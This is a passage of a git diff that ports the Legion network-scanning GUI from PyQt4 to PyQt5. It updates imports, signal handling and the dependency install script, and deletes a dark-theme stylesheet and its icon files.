b/app/scriptmodels.py @@ -12,7 +12,7 @@ ''' import re -from PyQt4 import QtGui, QtCore +from PyQt5 import QtWidgets, QtGui, QtCore from app.auxiliary import * # for bubble sort class ScriptsTableModel(QtCore.QAbstractTableModel): diff --git a/app/servicemodels.py b/app/servicemodels.py index 661b2132..2d23b6c4 100644 --- a/app/servicemodels.py +++ b/app/servicemodels.py @@ -11,15 +11,24 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -from PyQt4 import QtGui, QtCore +from PyQt5 import QtWidgets, QtGui, QtCore +from PyQt5.QtCore import pyqtSignal, QObject from app.auxiliary import * # for bubble sort +class Communicate(QObject): + data_changed = pyqtSignal(str) + class ServicesTableModel(QtCore.QAbstractTableModel): # needs to inherit from QAbstractTableModel def __init__(self, services = [[]], headers = [], parent = None): QtCore.QAbstractTableModel.__init__(self, parent) self.__headers = headers self.__services = services + self.c = Communicate() + + @QtCore.pyqtSlot() + def emit(self, signal): + self.c.data_changed.emit(signal) def setServices(self, services): self.__services = services @@ -97,8 +106,8 @@ def flags(self, index): # method tha return QtCore.Qt.ItemIsEnabled | QtCore.Qt.ItemIsSelectable def sort(self, Ncol, order): # sort function called when the user clicks on a header - - self.emit(SIGNAL("layoutAboutToBeChanged()")) + #self.emit(SIGNAL("layoutAboutToBeChanged()")) + self.layoutAboutToBeChanged.emit() array = [] if Ncol == 0: # if sorting by ip (and by default) @@ -143,7 +152,7 @@ def sort(self, Ncol, order): # sort funct if order == Qt.AscendingOrder: # reverse if needed self.__services.reverse() - self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + self.emit("layoutChanged()") # update the UI (built-in signal) ### getter functions ### @@ -201,7 +210,7 @@ def flags(self, index): # method tha def sort(self, Ncol, order): # sort function called when the user clicks on a header - self.emit(SIGNAL("layoutAboutToBeChanged()")) + self.layoutAboutToBeChanged.emit() array = [] if Ncol == 0: # if sorting by service name (and by default) @@ -213,7 +222,7 @@ def sort(self, Ncol, order): # sort funct if order == Qt.AscendingOrder: # reverse if needed self.__serviceNames.reverse() - self.emit(SIGNAL("layoutChanged()")) # update the UI (built-in signal) + self.emit("layoutChanged()") # update the UI (built-in signal) ### getter functions ### diff --git a/app/settings.py b/app/settings.py index 8003d42c..be68abe7 100644 --- a/app/settings.py +++ b/app/settings.py @@ -12,7 +12,7 @@ ''' import sys, os -from PyQt4 import QtCore, QtGui +from PyQt5 import QtWidgets, QtGui, QtCore from app.auxiliary import * # for timestamp # this class reads and writes application settings diff --git a/controller/controller.py b/controller/controller.py index a6467d76..08ab4d59 100644 --- a/controller/controller.py +++ b/controller/controller.py @@ -16,7 +16,7 @@ import queue except: import Queue as queue -from PyQt4.QtGui import * # for filters dialog +from PyQt5.QtGui import * # for filters dialog from app.logic import * from app.auxiliary import * from app.settings import * @@ -277,7 +277,7 @@ def getContextMenuForServiceName(self, serviceName='*', menu=None): if serviceName is None or serviceName == '*' or serviceName in a[3].split(",") or a[3] == '': # if the service name exists in the portActions list show the command in the context menu actions.append([self.settings.portActions.index(a), menu.addAction(a[0])]) # in actions list write the service and line number that corresponds to it in portActions - modifiers = QtGui.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu if modifiers == QtCore.Qt.ShiftModifier: shiftPressed = True else: @@ -325,7 +325,7 @@ def getContextMenuForPort(self, serviceName='*'): menu = QMenu() - modifiers = QtGui.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu + modifiers = QtWidgets.QApplication.keyboardModifiers() # if the user pressed SHIFT+Right-click show full menu if modifiers == QtCore.Qt.ShiftModifier: serviceName='*' @@ -505,21 +505,22 @@ def killRunningProcesses(self): def runCommand(self, name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox, discovery=True, stage=0, stop=False): self.logic.createFolderForTool(name) # create folder for tool if necessary qProcess = MyQProcess(name, tabtitle, hostip, port, protocol, command, starttime, outputfile, textbox) - #textbox.setProperty('dbId', QVariant(str(self.logic.addProcessToDB(qProcess)))) # database id for the process is stored so that we can retrieve the widget later (in the tools tab) - #.toString() + textbox.setProperty('dbId', str(self.logic.addProcessToDB(qProcess))) - #print '[+] Queuing: ' + str(command) + + print('[+] Queuing: ' + str(command)) self.fastProcessQueue.put(qProcess) - qProcess.display.appendPlainText('The process is queued and will start as soon as possible.') - qProcess.display.appendPlainText('If you want to increase the number of simultaneous processes, change this setting in the configuration file.') - #qProcess.display.appendPlainText('If you want to increase the number of simultaneous processes, change this setting in the Settings menu.') + self.checkProcessQueue() self.updateUITimer.stop() # update the processes table - self.updateUITimer.start(900) - # while the process is running, when there's output to read, display it in the GUI - QObject.connect(qProcess,SIGNAL("readyReadStandardOutput()"),qProcess,SLOT("readStdOutput()")) - QObject.connect(qProcess,SIGNAL("readyReadStandardError()"),qProcess,SLOT("readStdOutput()")) + self.updateUITimer.start(900) # while the process is running, when there's output to read, display it in the GUI + + qProcess.setProcessChannelMode(QtCore.QProcess.MergedChannels) + qProcess.readyReadStandardOutput.connect(lambda: qProcess.display.appendPlainText(str(qProcess.readAllStandardOutput().data().decode('ISO-8859-1')))) + + #QObject.connect(qProcess,SIGNAL("readyReadStandardOutput()"),qProcess,SLOT("readStdOutput()")) + #QObject.connect(qProcess,SIGNAL("readyReadStandardError()"),qProcess,SLOT("readStdOutput()")) # when the process is finished do this qProcess.sigHydra.connect(self.handleHydraFindings) qProcess.finished.connect(lambda: self.processFinished(qProcess)) diff --git a/db/database.py b/db/database.py index d24c2be6..110165b9 100644 --- a/db/database.py +++ b/db/database.py @@ -11,7 +11,7 @@ You should have received a copy of the GNU General Public License along with this program. If not, see . ''' -from PyQt4.QtCore import QSemaphore +from PyQt5.QtCore import QSemaphore import time from sqlalchemy import Column, DateTime, String, Integer, ForeignKey, func, create_engine diff --git a/deps/ubuntu.sh b/deps/ubuntu.sh index 01f39888..c8de9250 100644 --- a/deps/ubuntu.sh +++ b/deps/ubuntu.sh @@ -2,6 +2,6 @@ echo "Updating Apt database..." apt-get -qq update echo "Installing python dependancies..." -apt-get -qq install python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* -y +apt-get -qq install python3-pyqt5 python3-pyqt4 python3-pyside.qtwebkit python3-sqlalchemy* -y echo "Installing external binaryies and application dependancies..." apt-get -qq install finger hydra nikto whatweb nbtscan nfs-common rpcbind smbclient sra-toolkit ldap-utils sslscan rwho medusa x11-apps cutycapt leafpad -y diff --git a/legion.py b/legion.py index e392714c..b368cf7f 100644 --- a/legion.py +++ b/legion.py @@ -13,28 +13,29 @@ # check for dependencies first (make sure all non-standard dependencies are checked for here) try: - from sqlalchemy.orm.scoping import ScopedSession as scoped_session - #import elixir + from sqlalchemy.orm.scoping import ScopedSession as scoped_session + #import elixir except ImportError as e: - print("[-] Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") - exit(1) - + print("[-] Import failed. SQL Alchemy library not found. If on Ubuntu or similar try: apt-get install python3-sqlalchemy*") + exit(1) + try: - from PyQt4 import QtGui, QtCore + from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - print("[-] Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") - print(e) - exit(1) + print("[-] Import failed. PyQt4 library not found. If on Ubuntu or similar try: agt-get install python3-pyqt4") + print(e) + exit(1) try: - from PyQt4 import QtWebKit + from PyQt5 import QtWidgets, QtGui, QtCore except ImportError as e: - try: - from PySide import QtWebKit - except ImportError: - print("[-] Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") - exit(1) - + try: + #from PySide import QtWebKit + pass + except ImportError: + print("[-] Import failed. QtWebKit library not found. If on Ubuntu or similar try: agt-get install python3-pyside.qtwebkit") + exit(1) + from app.logic import * from ui.gui import * from ui.view import * @@ -42,62 +43,85 @@ # this class is used to catch events such as arrow key presses or close window (X) class MyEventFilter(QObject): - - def eventFilter(self, receiver, event): - # catch up/down arrow key presses in hoststable - if(event.type() == QEvent.KeyPress and (receiver == view.ui.HostsTableView or receiver == view.ui.ServiceNamesTableView or receiver == view.ui.ToolsTableView or receiver == view.ui.ToolHostsTableView or receiver == view.ui.ScriptsTableView or receiver == view.ui.ServicesTableView or receiver == view.settingsWidget.toolForHostsTableWidget or receiver == view.settingsWidget.toolForServiceTableWidget or receiver == view.settingsWidget.toolForTerminalTableWidget)): - key = event.key() - if not receiver.selectionModel().selectedRows(): - return True - index = receiver.selectionModel().selectedRows()[0].row() - - if key == QtCore.Qt.Key_Down: - newindex = index + 1 - receiver.selectRow(newindex) - receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - - elif key == QtCore.Qt.Key_Up: - newindex = index - 1 - receiver.selectRow(newindex) - receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) - - elif QtGui.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier and key == QtCore.Qt.Key_C: - selected = receiver.selectionModel().currentIndex() - clipboard = QtGui.QApplication.clipboard() - clipboard.setText(selected.data().toString()) - - return True - - elif(event.type() == QEvent.Close and receiver == MainWindow): - event.ignore() - view.appExit() - return True - - else: - return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing + + def eventFilter(self, receiver, event): + # catch up/down arrow key presses in hoststable + if(event.type() == QEvent.KeyPress and (receiver == view.ui.HostsTableView or receiver == view.ui.ServiceNamesTableView or receiver == view.ui.ToolsTableView or receiver == view.ui.ToolHostsTableView or receiver == view.ui.ScriptsTableView or receiver == view.ui.ServicesTableView or receiver == view.settingsWidget.toolForHostsTableWidget or receiver == view.settingsWidget.toolForServiceTableWidget or receiver == view.settingsWidget.toolForTerminalTableWidget)): + key = event.key() + if not receiver.selectionModel().selectedRows(): + return True + index = receiver.selectionModel().selectedRows()[0].row() + + if key == QtCore.Qt.Key_Down: + newindex = index + 1 + receiver.selectRow(newindex) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif key == QtCore.Qt.Key_Up: + newindex = index - 1 + receiver.selectRow(newindex) + receiver.clicked.emit(receiver.selectionModel().selectedRows()[0]) + + elif QtWidgets.QApplication.keyboardModifiers() == QtCore.Qt.ControlModifier and key == QtCore.Qt.Key_C: + selected = receiver.selectionModel().currentIndex() + clipboard = QtWidgets.QApplication.clipboard() + clipboard.setText(selected.data().toString()) + + return True + + elif(event.type() == QEvent.Close and receiver == MainWindow): + event.ignore() + view.appExit() + return True + + else: + return super(MyEventFilter,self).eventFilter(receiver, event) # normal event processing if __name__ == "__main__": - app = QtGui.QApplication(sys.argv) - myFilter = MyEventFilter() # to capture events - app.installEventFilter(myFilter) - app.setWindowIcon(QIcon('./images/icons/legion_medium.svg')) - - MainWindow = QtGui.QMainWindow() - ui = Ui_MainWindow() - ui.setupUi(MainWindow) - - try: - qss_file = open('./ui/darkstyle/darkstyle.qss').read() - except IOError as e: - print("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") - exit(0) - - MainWindow.setStyleSheet(qss_file) - - logic = Logic() # Model prep (logic, db and models) - view = View(ui, MainWindow) # View prep (gui) - controller = Controller(view, logic) # Controller prep (communication between model and view) - - #MainWindow.show() - sys.exit(app.exec_()) + app = QApplication(sys.argv) + myFilter = MyEventFilter() # to capture events + app.installEventFilter(myFilter) + MainWindow = QtWidgets.QMainWindow() + app.setWindowIcon(QIcon('./images/icons/legion_medium.svg')) + + ui = Ui_MainWindow() + ui.setupUi(MainWindow) + + try: + qss_file = open('./ui/legion.qss').read() + except IOError as e: + print("[-] The legion.qss file is missing. Your installation seems to be corrupted. Try downloading the latest version.") + exit(0) + + + #darkPalette.setColor(QPalette.Window,QColor(53,53,53)); + #darkPalette.setColor(QPalette.WindowText,Qt.white); + #darkPalette.setColor(QPalette.Disabled,QPalette.WindowText,QColor(127,127,127)); + #darkPalette.setColor(QPalette.Base,QColor(42,42,42)); + #darkPalette.setColor(QPalette.AlternateBase,QColor(66,66,66)); + #darkPalette.setColor(QPalette.ToolTipBase,Qt.white); + #darkPalette.setColor(QPalette.ToolTipText,QColor(53,53,53)); + #darkPalette.setColor(QPalette.Text,Qt.white); + #darkPalette.setColor(QPalette.Disabled,QPalette.Text,QColor(127,127,127)); + #darkPalette.setColor(QPalette.Dark,QColor(35,35,35)); + #darkPalette.setColor(QPalette.Shadow,QColor(20,20,20)); + #darkPalette.setColor(QPalette.Button,QColor(53,53,53)); + #darkPalette.setColor(QPalette.ButtonText,Qt.white); + #darkPalette.setColor(QPalette.Disabled,QPalette.ButtonText,QColor(127,127,127)); + #darkPalette.setColor(QPalette.BrightText,Qt.red); + #darkPalette.setColor(QPalette.Link,QColor(42,130,218)); + #darkPalette.setColor(QPalette.Highlight,QColor(42,130,218)); + #darkPalette.setColor(QPalette.Disabled,QPalette.Highlight,QColor(80,80,80)); + #darkPalette.setColor(QPalette.HighlightedText,Qt.white); + #darkPalette.setColor(QPalette.Disabled,QPalette.HighlightedText,QColor(127,127,127)); + + MainWindow.setStyleSheet(qss_file) + + logic = Logic() # Model prep (logic, db and models) + view = View(ui, MainWindow) # View prep (gui) + controller = Controller(view, logic) # Controller prep (communication between model and view) + + MainWindow.show() + + sys.exit(app.exec_()) diff --git a/ui/darkstyle/darkstyle.qss b/ui/darkstyle/darkstyle.qss deleted file mode 100644 index 2aaafe3c..00000000 --- a/ui/darkstyle/darkstyle.qss +++ /dev/null @@ -1,357 +0,0 @@ -QTabBar::close-button { - image: url(./images/closetab-small.png); - height: 10px; - width: 10px; -} - -QTabBar::close-button:hover { - image: url(./images/closetab-hover.png); -} - -QTabBar::close-button:pressed { - image: url(./images/closetab-press.png); -} - -QToolTip{ - color:#ffffff; - background-color:palette(base); - border:1px solid palette(highlight); - border-radius:4px; -} -QStatusBar{ - background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - color:palette(mid); -} -QMenuBar{ - background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border-bottom:2px solid rgba(25,25,25,75); -} -QMenuBar::item{ - spacing:2px; - padding:3px 4px; - background:transparent; -} -QMenuBar::item:selected{ - background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(106,106,106,255),stop:1 rgba(106,106,106,75)); - border-left:1px solid rgba(106,106,106,127); - border-right:1px solid rgba(106,106,106,127); -} -QMenuBar::item:pressed{ - background-color:palette(highlight); - border-left:1px solid rgba(25,25,25,127); - border-right:1px solid rgba(25,25,25,127); -} -QMenu{ - background-color:palette(window); - border:1px solid palette(shadow); -} -QMenu::item{ - padding:3px 25px 3px 25px; - border:1px solid transparent; -} -QMenu::item:disabled{ - background-color:rgba(35,35,35,127); - color:palette(disabled); -} -QMenu::item:selected{ - border-color:rgba(147,191,236,127); - background:palette(highlight); -} -QMenu::icon:checked{ - background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border:1px solid palette(highlight); - border-radius:2px; -} -QMenu::separator{ - height:1px; - background:palette(alternate-base); - margin-left:5px; - margin-right:5px; -} -QMenu::indicator{ - width:18px; - height:18px; -} -QMenu::indicator:non-exclusive:checked{ - image:url(:/darkstyle/icon_checkbox_checked.png); - padding-left:2px; -} -QMenu::indicator:non-exclusive:unchecked{ - image:url(:/darkstyle/icon_checkbox_unchecked.png); - padding-left:2px; -} -QMenu::indicator:exclusive:checked{ - image:url(:/darkstyle/icon_radiobutton_checked.png); - padding-left:2px; -} -QMenu::indicator:exclusive:unchecked{ - image:url(:/darkstyle/icon_radiobutton_unchecked.png); - padding-left:2px; -} -QToolBar::top{ - background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border-bottom:3px solid qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); -} -QToolBar::bottom{ - background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border-top:3px solid qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); -} -QToolBar::left{ - background-color:qlineargradient(x1:0,y1:0,x2:1,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border-right:3px solid qlineargradient(x1:0,y1:0,x2:1,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); -} -QToolBar::right{ - background-color:qlineargradient(x1:1,y1:0,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border-left:3px solid qlineargradient(x1:1,y1:0,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); -} -QMainWindow::separator{ - width:6px; - height:5px; - padding:2px; -} -QSplitter::handle:horizontal{ - width:10px; -} -QSplitter::handle:vertical{ - height:10px; -} -QMainWindow::separator:hover,QSplitter::handle:hover{ - background:palette(highlight); -} -QDockWidget::title{ - padding:4px; - background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border:1px solid rgba(25,25,25,75); - border-bottom:2px solid rgba(25,25,25,75); -} -QDockWidget{ - titlebar-close-icon:url(:/darkstyle/icon_close.png); - titlebar-normal-icon:url(:/darkstyle/icon_restore.png); -} -QDockWidget::close-button,QDockWidget::float-button{ - subcontrol-position:top right; - subcontrol-origin:margin; - position:absolute; - top:3px; - bottom:0px; - width:20px; - height:20px; -} -QDockWidget::close-button{ - right:3px; -} -QDockWidget::float-button{ - right:25px; -} -QGroupBox{ - background-color:rgba(66,66,66,50%); - margin-top:27px; - border:1px solid rgba(25,25,25,127); - border-radius:4px; -} -QGroupBox::title{ - subcontrol-origin:margin; - subcontrol-position:left top; - padding:4px 6px; - margin-left:3px; - background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border:1px solid rgba(25,25,25,75); - border-bottom:2px solid rgb(127,127,127); - border-top-left-radius:4px; - border-top-right-radius:4px; -} -QTabWidget::pane{ - background-color:rgba(66,66,66,50%); - border-top:1px solid rgba(25,25,25,50%); -} -QTabWidget::tab-bar{ - left:3px; - top:1px; -} -QTabBar{ - background-color:transparent; - qproperty-drawBase:0; - border-bottom:1px solid rgba(25,25,25,50%); -} -QTabBar::tab{ - padding:4px 6px; - background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border:1px solid rgba(25,25,25,75); - border-top-left-radius:4px; - border-top-right-radius:4px; -} -QTabBar::tab:selected,QTabBar::tab:hover{ - background-color:qlineargradient(x1:0,y1:0,x2:0,y2:1,stop:0 rgba(53,53,53,127),stop:1 rgba(66,66,66,50%)); - border-bottom-color:rgba(66,66,66,75%); -} -QTabBar::tab:selected{ - border-bottom:2px solid palette(highlight); -} -QTabBar::tab::selected:disabled{ - border-bottom:2px solid rgb(127,127,127); -} -QTabBar::tab:!selected{ - margin-top:2px; -} -QCheckBox::indicator{ - width:18px; - height:18px; -} -QCheckBox::indicator:checked,QTreeView::indicator:checked,QTableView::indicator:checked,QGroupBox::indicator:checked{ - image:url(:/darkstyle/icon_checkbox_checked.png); -} -QCheckBox::indicator:checked:pressed,QTreeView::indicator:checked:pressed,QTableView::indicator:checked:pressed,QGroupBox::indicator:checked:pressed{ - image:url(:/darkstyle/icon_checkbox_checked_pressed.png); -} -QCheckBox::indicator:checked:disabled,QTreeView::indicator:checked:disabled,QTableView::indicator:checked:disabled,QGroupBox::indicator:checked:disabled{ - image:url(:/darkstyle/icon_checkbox_checked_disabled.png); -} -QCheckBox::indicator:unchecked,QTreeView::indicator:unchecked,QTableView::indicator:unchecked,QGroupBox::indicator:unchecked{ - image:url(:/darkstyle/icon_checkbox_unchecked.png); -} -QCheckBox::indicator:unchecked:pressed,QTreeView::indicator:unchecked:pressed,QTableView::indicator:unchecked:pressed,QGroupBox::indicator:unchecked:pressed{ - image:url(:/darkstyle/icon_checkbox_unchecked_pressed.png); -} -QCheckBox::indicator:unchecked:disabled,QTreeView::indicator:unchecked:disabled,QTableView::indicator:unchecked:disabled,QGroupBox::indicator:unchecked:disabled{ - image:url(:/darkstyle/icon_checkbox_unchecked_disabled.png); -} -QCheckBox::indicator:indeterminate,QTreeView::indicator:indeterminate,QTableView::indicator:indeterminate,QGroupBox::indicator:indeterminate{ - image:url(:/darkstyle/icon_checkbox_indeterminate.png); -} -QCheckBox::indicator:indeterminate:pressed,QTreeView::indicator:indeterminate:pressed,QTableView::indicator:indeterminate:pressed,QGroupBox::indicator:indeterminate:pressed{ - image:url(:/darkstyle/icon_checkbox_indeterminate_pressed.png); -} -QCheckBox::indicator:indeterminate:disabled,QTreeView::indicator:indeterminate:disabled,QTableView::indicator:indeterminate:disabled,QGroupBox::indicator:indeterminate:disabled{ - image:url(:/darkstyle/icon_checkbox_indeterminate_disabled.png); -} -QRadioButton::indicator{ - width:18px; - height:18px; -} -QRadioButton::indicator:checked{ - image:url(:/darkstyle/icon_radiobutton_checked.png); -} -QRadioButton::indicator:checked:pressed{ - image:url(:/darkstyle/icon_radiobutton_checked_pressed.png); -} -QRadioButton::indicator:checked:disabled{ - image:url(:/darkstyle/icon_radiobutton_checked_disabled.png); -} -QRadioButton::indicator:unchecked{ - image:url(:/darkstyle/icon_radiobutton_unchecked.png); -} -QRadioButton::indicator:unchecked:pressed{ - image:url(:/darkstyle/icon_radiobutton_unchecked_pressed.png); -} -QRadioButton::indicator:unchecked:disabled{ - image:url(:/darkstyle/icon_radiobutton_unchecked_disabled.png); -} -QTreeView, QTableView{ - alternate-background-color:palette(window); - background:palette(base); -} -QTreeView QHeaderView::section, QTableView QHeaderView::section{ - background-color:qlineargradient(x1:0,y1:1,x2:0,y2:0,stop:0 rgba(25,25,25,127),stop:1 rgba(53,53,53,75)); - border-style:none; - border-bottom:1px solid palette(dark); - padding-left:5px; - padding-right:5px; -} -QTreeView::item:selected:disabled, QTableView::item:selected:disabled{ - background:rgb(80,80,80); -} -QTreeView::branch{ - background-color:palette(base); -} -QTreeView::branch:has-siblings:!adjoins-item{ - border-image:url(:/darkstyle/icon_vline.png) 0; -} -QTreeView::branch:has-siblings:adjoins-item{ - border-image:url(:/darkstyle/icon_branch_more.png) 0; -} -QTreeView::branch:!has-children:!has-siblings:adjoins-item{ - border-image:url(:/darkstyle/icon_branch_end.png) 0; -} -QTreeView::branch:has-children:!has-siblings:closed, -QTreeView::branch:closed:has-children:has-siblings{ - border-image:none; - image:url(:/darkstyle/icon_branch_closed.png); -} -QTreeView::branch:open:has-children:!has-siblings, -QTreeView::branch:open:has-children:has-siblings{ - border-image:none; - image:url(:/darkstyle/icon_branch_open.png); -} -QScrollBar:vertical{ - background:palette(base); - border-top-right-radius:2px; - border-bottom-right-radius:2px; - width:16px; - margin:0px; -} -QScrollBar::handle:vertical{ - background-color:palette(alternate-base); - border-radius:2px; - min-height:20px; - margin:2px 4px 2px 4px; -} -QScrollBar::handle:vertical:hover{ - background-color:palette(highlight); -} -QScrollBar::add-line:vertical{ - background:none; - height:0px; - subcontrol-position:right; - subcontrol-origin:margin; -} -QScrollBar::sub-line:vertical{ - background:none; - height:0px; - subcontrol-position:left; - subcontrol-origin:margin; -} -QScrollBar:horizontal{ - background:palette(base); - height:16px; - margin:0px; -} -QScrollBar::handle:horizontal{ - background-color:palette(alternate-base); - border-radius:2px; - min-width:20px; - margin:4px 2px 4px 2px; -} -QScrollBar::handle:horizontal:hover{ - background-color:palette(highlight); -} -QScrollBar::add-line:horizontal{ - background:none; - width:0px; - subcontrol-position:bottom; - subcontrol-origin:margin; -} -QScrollBar::sub-line:horizontal{ - background:none; - width:0px; - subcontrol-position:top; - subcontrol-origin:margin; -} -QSlider::handle:horizontal{ - border-radius:4px; - border:1px solid rgba(25,25,25,255); - background-color:palette(alternate-base); - min-height:20px; - margin:0 -4px; -} -QSlider::handle:horizontal:hover{ - background:palette(highlight); -} -QSlider::add-page:horizontal{ - background:palette(base); -} -QSlider::sub-page:horizontal{ - background:palette(highlight); -} -QSlider::sub-page:horizontal:disabled{ - background:rgb(80,80,80); -} diff --git a/ui/darkstyle/icon_branch_closed.png b/ui/darkstyle/icon_branch_closed.png deleted file mode 100644 index fa785cc91e6ab6b57b9ff2ab8b17a0a5cc6319a1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 310 zcmeAS@N?(olHy`uVBq!ia0vp^96-#&!3HGb=lz)rq*&4&eH|GXHuiJ>Nn{1`ISV`@ ziy0Ug6+xJhcmI}fprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf%@$7= z#}JL+(hHtkhYUoHeSGtUuc@N{9ZSA)X=LW)W6T`$7OcCY(GgmBKu~=SpXh(VD6dR$ zd!c*385yVyt-!VXGE|c|w9$Xh1f5+6=PY#m#nNhi z$u+a=lXqQ$_}0s7mrUfXF-+PtF<-4Q?q|64N9H*vo@%>1TlgC2eg;ohKbLh*2~7Y8 CYj9%# diff --git a/ui/darkstyle/icon_branch_end.png b/ui/darkstyle/icon_branch_end.png deleted file mode 100644 index d90a04c33075a3e26db2686fd9a62b21e3d14a5d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 358 zcmeAS@N?(olHy`uVBq!ia0vp^fk14a~60+ z7BevL9RguSQ4OyKprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf%@a=- z$B>G+w-*-jGC4}PJbc|`Bw)c)Iw9dDqa*9}FPlCURi+*45cRKl6zBKH`nE)}=kI;@ zm%l&Q`!AaDn5ackqp}#8#DR|fmz$Jo4sbmyd@g9e{C(;J<}ic);v@BEAFsRo`+=!# zcng03+hQY$sRvi^xTP9sH3v%eoJt5GQAqXJH|9Hg)*H{(6P*q8FN3G6pUXO@geCxm C^?Y^! diff --git a/ui/darkstyle/icon_branch_more.png b/ui/darkstyle/icon_branch_more.png deleted file mode 100644 index bdbe4ed92af5f6fcdd185c752072d727bc6d350d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 207 zcmeAS@N?(olHy`uVBq!ia0vp^5mw7EWWf>Pm0S#vGboFyt=akR{0R8(u^#A|> diff --git a/ui/darkstyle/icon_branch_open.png b/ui/darkstyle/icon_branch_open.png deleted file mode 100644 index 9dd05d6460df3535a0c8833eef4b617d8cb2e93c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 313 zcmeAS@N?(olHy`uVBq!ia0vp^JV4CB!3HGHK9Tzfq*&4&eH|GXHuiJ>Nn{1`ISV`@ ziy0Ug6+xJhcmI}fprAyFYeY$Kep*R+Vo@qXL1JcJiC$i6iGqoqfu3cKah)Gf&2~>0 z#}JL+)N`I(ha3c2AKrT@%koiS9ZSA);mt`OnVPc23!l0<`iQX06drmR@HT#uhmg2@ zNci4Yc~2|j?w8&*kE?j(`2L;6x!zx0+~+J7F5Yr2wM((byZokP61Lr_XX8RS-DxvGt3% zkMqH#PZ#?`_iXL#d?+iHSnyRL<=Lon*Ag*cla~T(pPQ6*e2~U<-GP*_hH3&`b%ZkbC+1l*n ZZ6=uTeQ?shqy}^XgQu&X%Q~loCIC{JK~n$# diff --git a/ui/darkstyle/icon_checkbox_checked_disabled.png b/ui/darkstyle/icon_checkbox_checked_disabled.png deleted file mode 100644 index 441d0d9148a8badd5620904b2d18defce32fd7ca..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 373 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjjKx9jP7LeL$-D$|SkfJR9T^xl z_H+M9WCij$3p^r=85sBugD~Uq{1qucL5ULAh?3y^w370~qEv>0#LT=By}Z;C1rt33 zJ6J37bZ;R4rebAc+WAn zhTjOpTkc$S@?y&418U;yWUqK{0tt!pUiVfIW;feeaM3_vPA@ai#*7{8Fp~Yxe0TO| zJEVXv_z|J=Q%zx?Sx(j;^+RVT9y(ii>I+LjgTe~DWM4f^5Bfb diff --git a/ui/darkstyle/icon_checkbox_checked_pressed.png b/ui/darkstyle/icon_checkbox_checked_pressed.png deleted file mode 100644 index 7b508c8d156a3878a701209c7674dc5584fc90d7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 373 zcmeAS@N?(olHy`uVBq!ia0vp^5+KaM1|%Pp+x`GjjKx9jP7LeL$-D$|SkfJR9T^xl z_H+M9WCij$3p^r=85sBugD~Uq{1qucL5ULAh?3y^w370~qEv>0#LT=By}Z;C1rt33 zJ@&NsXv6nQvE@b(uy_5N& zAZ%5Cpw;;A{78Sz)a<-x7hmR?v8@%?yECbxm2I|E`wIttGgH2c1;>_FrUyS>;2g=m z*{J$vGLXq`oF$Xq9{)j)FQ@2X$%?0#LT=By}Z;C1rt33 zJ0#LT=By}Z;C1rt33 zJpVX7N4|TXV6yiU3DYu{zQAO6G=?WX`=#=i4;_Bx$?Q@(zG9RUcI0#LT=By}Z;C1rt33 zJBmQ; a&*+s(r7SrAZQf#_RScf4elF{r5}E*y3QTeU diff --git a/ui/darkstyle/icon_checkbox_unchecked_pressed.png b/ui/darkstyle/icon_checkbox_unchecked_pressed.png deleted file mode 100644 index c24130c552f7f9a31e3891082af80749a11ef16c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 238 